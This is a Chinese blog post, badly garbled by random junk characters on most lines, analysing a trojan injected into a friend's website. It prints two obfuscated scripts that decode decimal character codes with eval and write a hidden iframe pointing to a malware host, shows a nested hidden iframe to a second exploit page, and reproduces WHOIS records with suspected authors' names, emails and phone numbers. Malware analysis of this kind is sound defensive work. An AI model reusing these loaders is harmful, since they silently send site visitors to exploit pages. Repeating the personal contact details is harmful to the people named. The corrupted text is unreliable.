首发在我的博客里面，
!7uFH PK- -\~x^5 K http://www.areway.cn/?p=175 V[">SiOg y/ah<Y0( RTYhgq 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
(a8oI )~ YwF\ <script>t=’60,105,102,114,97,109,101,
{q BbzBG 32,115,114,99,61,104,116,116,112,58,47,47,
o(5
( ]bJ 102,114,101,101,46,117,45,117,117,117,46,99,
mvBUm-X 110,47,101,114,114,111,114,46,104,116,109,
H{*R(S<I 32,119,105,100,116,104,61,49,48,48,32,104,
;gW?Fnry; 101,105,103,104,116,61,48,62,60,47,105,102,
nB , &m& 114,97,109,101,62′;
JZ0u/x5 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
9/50+2F @33-UP9o <script>t=’60,105,102,114,97,109,101,32,115,
iLkP@OYgQ 114,99,61,104,116,116,112,58,47,47,102,114,
Ks^EGy+O:- 101,101,46,117,45,117,117,117,46,99,110,47,
d#nKT qSg 101,114,114,111,114,46,104,116,109,32,119,
<k2]GI-}h 105,100,116,104,61,49,48,48,32,104,101,105,
nL*
SNQ_ 103,104,116,61,48,62,60,47,105,102,114,97,
, m.IhnCV\ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RkBbu4uQ- document.write(t);</script>
:WdiH)Zv W_G'wU3R <html xmlns=”
l mr:PX http://www.w3.org/1999/xhtml (~n0,$ “>
iLG~_O b: <head>
(yi{<$ U* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
n YO4JlNP <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
3+ r8yiY
<title>首页 - 爱生活家庭网
Uzd\#edxJ 38O_PK 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(: T\< 转换字符串后的大概内容是（谁点击后果自付）：
W RVm^ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
( cqVCys fmq9u(!R 查询玉米u-uuu.cn的详细信息：
ZfN%JJOz( Domain Name: u-uuu.cn
SgPvQ'\ ROID: 20070901s10001s64972306-cn
EXYr_$gRs Domain Status: ok
W% cJ#R[o Registrant Organization: 王雷
g"L$}#iTsl Registrant Name: 王雷
HWT^u$a" Administrative Email:
czlovexs@126.com XqTDLM& Sponsoring Registrar: 北京万网志成科技有限公司
| 0/~7l Name Server:ns.yovole.com
~!W{C_*N Name Server:ns1.yovole.com
_8"%nV Registration Date: 2007-09-01 17:54
q U,u(E l Expiration Date: 2008-09-01 17:54
3.s.&^ 最后PING了一下地址 都没有什么….
]
'ybu&22 }W k!):=y 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
QWV12t$v <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
B>M @ ' <script language=”javascript” src=”
Q{+&3KXH http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }Q m : g >
S&Y C" 这个玉米应该有可能是木马作者的：
<; Bv6.Z foafau.info的详细信息：
,L} Access to INFO WHOIS information is provided to assist persons in
pe$l'ur determining the contents of a domain name registration record in the
|\MgE .N Afilias registry database. The data in this record is provided by
m dTCe
HX Afilias Limited for informational purposes only, and Afilias does not
vMV}M%~ guarantee its accuracy. This service is intended only for query-based
2b k~6Osp access. You agree that you will use this data only for lawful purposes
pT` oC& and that, under no circumstances will you use this data to: (a) allow,
O
o+pi$W enable, or otherwise support the transmission by e-mail, telephone, or
UMbM3m=\ facsimile of mass unsolicited, commercial advertising or solicitations
L) ]|\| to entities other than the data recipient’s own existing customers; or
mxJ& IV (b) enable high volume, automated, electronic processes that send
qE&R.I!o queries or data to the systems of Registry Operator, a Registrar, or
4R/cN' - Afilias except as reasonably necessary to register domain names or
"?UBW5nM# modify existing registrations. All rights reserved. Afilias reserves
&z(E-w/S the right to modify these terms at any time. By submitting this query,
L^0s you agree to abide by this policy.
X) peY Domain ID:D22418703-LRMS
'{?7\+o.x Domain Name:FOAFAU.INFO
69$[yt>KYz Created On:20-Nov-2007 16:05:42 UTC
hln.EAW'Yc Last Updated On:20-Nov-2007 16:05:44 UTC
i#Y[I"' Expiration Date:20-Nov-2008 16:05:42 UTC
mew,S)dq! Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
9c@. "O` Status:CLIENT DELETE PROHIBITED
+bw>9VmG Status:CLIENT RENEW PROHIBITED
LJ Aqk2k Status:CLIENT TRANSFER PROHIBITED
D-tm'AP q Status:CLIENT UPDATE PROHIBITED
r#%z1u Status:TRANSFER PROHIBITED
JXIxk"m Registrant ID:GODA-040110615
O+^l>+ZGj? Registrant Name:liu hong
Gd8FXk,.! Registrant Organization:
\' gb{ JO Registrant Street1:beijing
"NgfdL z Registrant Street2:
A+&^As2 Registrant Street3:
9=J+5V^qD< Registrant City:beijing
`'Af`u \R Registrant State/Province:
)E.!jL:g Registrant Postal Code:100000
rVE!mi]% Registrant Country:CN
Pn*+g!` Registrant Phone:+86.860108888777
ROyG+dUy Registrant Phone Ext.:
As;@T$G Registrant FAX:
5QR=$?K Registrant FAX Ext.:
U2u\Q1 Registrant Email:bbbshiji@163.com
^"e|)4_5\ Admin ID:GODA-240110615
Is $I;` Admin Name:liu hong
^T#bla893 Admin Organization:
#ONad0T; Admin Street1:beijing
.W#-Cl&n8 Admin Street2:
Oist>A$Z Admin Street3:
S}Q/CT ?au Admin City:beijing
VM1`:1Z:$ Admin State/Province:
e bSG|F Admin Postal Code:100000
TM 1isZ Admin Country:CN
M6 W { mek Admin Phone:+86.860108888777
\L"Vx9xT Admin Phone Ext.:
+$-@8,F> Admin FAX:
o& GS;{Rs Admin FAX Ext.:
G' 5p /: Admin Email:bbbshiji@163.com
gxIGL-1M Billing ID:GODA-340110615
:4f>S) m Billing Name:liu hong
GEdWpYKS-` Billing Organization:
\CP)$0j-&o Billing Street1:beijing
5* ip}wA Billing Street2:
G>/Gw 90E Billing Street3:
-.>b7ui Billing City:beijing
WPmH4L>T Billing State/Province:
`m.).H da Billing Postal Code:100000
=o@CCUKpj Billing Country:CN
5v f?E"\r Billing Phone:+86.860108888777
Vy:I[@6@+ Billing Phone Ext.:
rfgkw Billing FAX:
l$PSID Billing FAX Ext.:
^]&uMkPN Billing Email:bbbshiji@163.com
) ]/gu\90 Tech ID:GODA-140110615
kPm{ tc
Tech Name:liu hong
ETw7/S${ Tech Organization:
hGPo{>xR Tech Street1:beijing
\DG
6 Tech Street2:
6QwVgEnSf Tech Street3:
=q 1=.VTn Tech City:beijing
O R &' Tech State/Province:
G,#]`W@qhK Tech Postal Code:100000
<QlpIgr Tech Country:CN
}9k/Y/. Tech Phone:+86.860108888777
4&}V3"lg Tech Phone Ext.:
H] 6i1j Tech FAX:
2qw -: Tech FAX Ext.:
Tq\S-K}4! Tech Email:bbbshiji@163.com
Fgf5OHX Name Server:NS27.DOMAINCONTROL.COM
9w^ lRbn Name Server:NS28.DOMAINCONTROL.COM
` UC
Name Server:
#Sxk[[KwH* Name Server:
cjf 8N:4N0 Name Server:
i'w8Li Name Server:
.^aakM Name Server:
MM}lW-q; Name Server:
*&f^R}O Name Server:
t<)Cbple\ Name Server:
L\cd =&b` Name Server:
T <hS Name Server:
s$cr|p;7# Name Server:
'MM%Sm, o$*aAgS+ 接着下载每个文件里面的代码：
gx-ib/_f1 一步一步看..
emhI1
*} 
xJphG 
DqfWu* 
\3M<_73 
TzaR{0
1 
WR&>AOWAD 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
